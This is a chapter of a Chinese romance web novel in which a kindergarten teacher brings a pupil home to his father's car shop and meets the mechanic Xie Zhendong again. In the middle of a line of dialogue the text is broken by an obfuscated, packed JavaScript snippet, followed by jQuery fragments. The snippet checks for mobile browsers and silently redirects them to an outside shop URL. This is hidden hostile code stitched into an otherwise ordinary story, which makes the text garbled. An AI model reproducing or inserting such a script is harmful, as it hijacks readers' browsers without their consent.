白昭瞪向谢震东的时候，对方正朝她咧着嘴角。


    凶悍的长相一旦夹杂起痞意，那形象百分之百大打折扣。


    白昭不愿再与人扯嘴皮，大概估了个价便拧开车锁打算离开。


    “这种小事都没办法通融？”谢震东的声音从背后响起，赖赖皮皮地腔调，尤其尾音拉得又长又慢，似乎在嘲笑她的工作态度过于强硬。


    “不好意思，我向来如此。”若不是知道对方不好惹，白昭铁定要露出本性。


    “还有…我姓白，不是什么小白老师！”


    没再等谢震东开口说些什么不着调的话，白昭骑上车快速离开了车行。


    倩丽的背影正一点一点在视线里变得模糊，与此同时记忆的大门再次缓缓打开，跳出一位鲜活稚嫩的面孔。


    那副面孔逐渐放大，画中人来到了眼前……


    谢震东失神数秒，再次回过神时那道身影已经消失在拐角。


    “一点没变。”紧闭的唇角弯成了好看的弧度，连带着那双黝黑压抑的眼眸都格外亮堂起来。


    /


    劳动节前一天，幼儿园早早放孩子们回家。


    白昭收拾好班级卫生，便也跟着其他老师陆续离开学校。


    经过门卫室，她一眼注意到张嘉楠。


    对方正坐在门口的小板凳上，托着小小的下巴翘首以望。


    中班开始，班级老师轮流送放学，今天不是她当值，白昭并不知道张嘉楠还没有回家。


    “爸爸又没来接你吗？”白昭半蹲在小男孩面前，正细细查看他脸上情绪。


    她听其他老师说过，张嘉楠的爸爸妈妈在他很小的时候就已经分开，为此平日里她没少关心他。


    眼下看着小小的身影，白昭突然想起了自己。


    “楠楠别急，我来给你爸爸打个电话。”


    “闻老师打过了，我爸爸说车还堵在半路上。”张嘉楠整个人蔫蔫的，眼神里完全没有了往日在学校里的活跃劲儿。


    白昭不忍心，还是给张鹏飞打了通电话。


    确定已经下了高速，白昭便说顺路把孩子送到车行，得到肯定答复，白昭才朝张嘉楠伸出手，笑着将他拉起来，“走吧，今天白老师送你回家。”


    “真的吗？”张嘉楠还不敢确定，明亮的眼睛盯着白昭看了好一会儿，才笑着从小板凳上弹起来。


    “白老师，你知道我家住哪里吗？”路上，张嘉楠正为说不清自己家住哪里急得抓耳挠腮。


    “知道。”白昭笑着说道：“还记不记得上回你谢叔叔来接过你？”


    “谢叔叔？你说谢震东吗？”意识说错话，张嘉楠赶紧捂住嘴，生怕白昭中途把他丢下。


    谢震东？


    他应该想不到自己也有被小朋友打趣的时候，此刻若是站在面前，指不定气成什么样！


    白昭听在心里，脸上仍是一贯地平和，无人察觉时那双眉其实早已弯成了漂亮的小月牙儿。


    她也会暗自看人笑话，尤其这个人在不久前还点名强调她不够温柔！


    /


    东鹏车行大门开着，张嘉楠进去看了一圈摇摇头又折返回来。


    “白老师，我爸爸还没回来。”


    “时间还早，老师陪你等一会。”


    白昭在路边锁好车，牵着张嘉楠去马路对面的小超市买了面包和牛奶，路过饮料区又给自己拿了瓶果汁。


    回到车行，张嘉楠进屋搬来两张小矮凳，递给白昭一个之后，另一个塞自己屁股底下。


    白昭刚要坐下，那条名叫罐头的大金毛突然朝她看了过来，圆溜溜的大眼睛一动不动盯着她，喉咙里跟着发出呜咽呜咽的沉闷声音，听得人仍心有余悸。


    学生面前白昭不愿露怯，她指着旁边被遮挡了大半日光的梧桐树，示意张嘉楠，“咱们去那里找找有没有小蚂蚁？”


    小孩子没有多余的时间思考原因，收到命令就屁颠屁颠地挪了过去，率先找起了小蚂蚁。


    找了一圈也没有发现一只小蚂蚁，张嘉楠顿时有些失落。


    “要不要用你手里的面包来引一引小蚂蚁呀？它们有长长的触角，嗅觉很灵敏呢。”


    听白昭这么一指点，张嘉楠乖乖照做，揪了一小块面包扔地上，随后边吃边等着。


    白昭看一眼手机，心里正盘算着待会要买几点的车票回家，还没多想一会儿，小朋友的惊呼声打断了她。


    “白老师，真有蚂蚁！”张嘉楠指着那只从远处赶来的小蚂蚁，蹲在一旁看得津津有味。


    “待会还会更多。”白昭收起手机，陪张嘉楠一块蹲在大树下，细细观察起蚂蚁。


    两人浑然不知周围有车经过，直到一记洪亮的男声响起，两人才不约而同地抬起头。


    /


    回程的车是谢震东开的。


    从前面路口掉头时，他就已经看到白昭的那辆电动车，车后座的靠背上粘着一只塑料苹果。


    他还是第一次见有人把假苹果粘在电动车上。


    “不得了不得了！”车刚停稳，张鹏飞就开了车门飞奔过来。


    “辛苦辛苦，实在对不住！”好听话张鹏飞不会说，礼礼貌貌地态度已经到了极限。


    “今天放学早，我看小家伙一个人待着挺孤单的，就顺路给送过来了。”白昭摆摆手，笑着解释。


    “有没有给老师惹麻烦？”张鹏飞傻笑两声，粗糙的大手直揉着儿子的脑袋，没轻没重的几下惹得张嘉楠直喊受不了。


    她眼里所看到的父爱，俨然在孩子心里成了极大的负担。


    白昭不由想到了自己。


    小时候父亲也是这般，不会说太多好听话，有事没事揉一揉她的头发就算给足关爱。


    白昭一直不喜欢这种沟通方式，尤其青春期那会还为此特意和父亲沟通过，再之后父亲只会给她买一堆吃的用的，却再也没揉过她的头发。


    ……


    “又见面了白老师！”


    熟悉的声音打断了白昭回忆往事的情绪，她回过神，谢震东已经朝她缓缓走来。


    夕阳下，他只穿一件工字背心，裸露在外的两条臂膀肌肉线条流畅，深色的工作服搭在肩头，他嘴里咬着根烟，猩红的火点子映在夕阳下，像是天边火烧云留下的赠品，耀眼的让人微微愣神。


    “不至于不认识吧？”谢震东把白昭的表情尽收眼底，开着玩笑逗她。


    白昭赶紧错开，不打算隧他的话。


    “白老师，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660781|188425||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我爸爸说要请你吃饭，跟我们一块去吃饭吧？”


    张鹏飞不好意思，特意派了张嘉楠过来，然而白昭还得回乡下便开口婉拒了。


    “改天好不好，老师也要回家了。”


    张嘉楠又急着跑过去回报消息，等到小朋友再次跑过来，谢震东的眼神都没有离开。


    旁人眼里，他百分之百是对外表温柔的女教师产生了某种念头，然而只有他自己知道，这是在做一种毫无科学根据的对比试验。


    企图用仅有的一面之缘，来衔接这么多年不曾见面的差别。


    “放假也不能贪玩知道吗？还有，课堂上我布置的手工作业记得要和爸爸一起完成。”


    “知道了白老师。”


    白昭摸了摸张嘉楠的小脑袋转身要走，路过谢震东身边，眼神躲闪了一下，最终还是朝他点了下头。


    这种举动再正常不过，偏偏落在谢震东眼里哪哪都很奇怪。


    甚至他觉得这姑娘也就表面看着温婉大方，实际上内心多少也存了点坏心眼。


    “路上慢点啊，白老师！”


    张鹏飞走过来的时候，谢震东的眼神仍然追着远去的那道倩影。他不过是由人联想到往事，再由往事产生了一些不切实际的幻想，却硬是被张鹏飞打趣了半天。


    “我他妈闲的。”谢震东踩了烟头，大步流星回了车行。


    不怪他会多看，夕阳下那一幕确实温馨。


    从他下车，看见那一大一小两个身影开始，某种异样情绪就在眼前流动。


    谢震东从没静下心想过未来会拥有什么样的生活，刚刚那幅画面里他突然有了实感。


    娇美的妻子，活泼好动的孩子，如果是这样，他想他会愿意有个家……


    “诶东哥，帮个忙？”


    “不帮。”


    片刻功夫，谢震东已经恢复正常，以至于张鹏飞在提出请求时，他立马开口拒绝。


    工作上两人默契一致，向来有话直说，遇上这种犹豫再三才委婉开口的事，大抵不是什么好事。


    “我说你这人——”张鹏飞看一眼坐在旁边看动画片的儿子，剩下的话自动消了音。


    谢震东抬眸，斜斜睨视着对方，嘴里没吐出什么好听话，“真他妈不够义气？”


    “不敢不敢”张鹏飞堆着满脸笑，将手机凑到谢震东面前，“这不遇到难事，要请东哥你帮忙嘛！”


    “啥玩意儿？”


    谢震东放下手里的活，一把接过手机，屏幕上是一长串内容，但他率先留意的却是左上角那四四方方的头像。


    是一张女人的证件照。


    白色背景，照片里女人穿着件蓝衬衫，领口系着条藏青色条纹丝巾，头发全部扎起，光洁的额头下鼻梁高挺，唇角微弯，标准的职业照。


    头像太小，谢震东看不太清白昭什么表情，碍于张鹏飞人还在跟前，他快速浏览了一遍文字内容，转手又将手机还了回去。


    “行不行？”


    “可以是可以——”谢震东琢磨着点点头，狭长的眼眸里起了一点其他心思，“不过我有个条件。”


    “天大的事我都答应，只要让这臭小子满意就成。”


    “得说…是我帮忙做的。”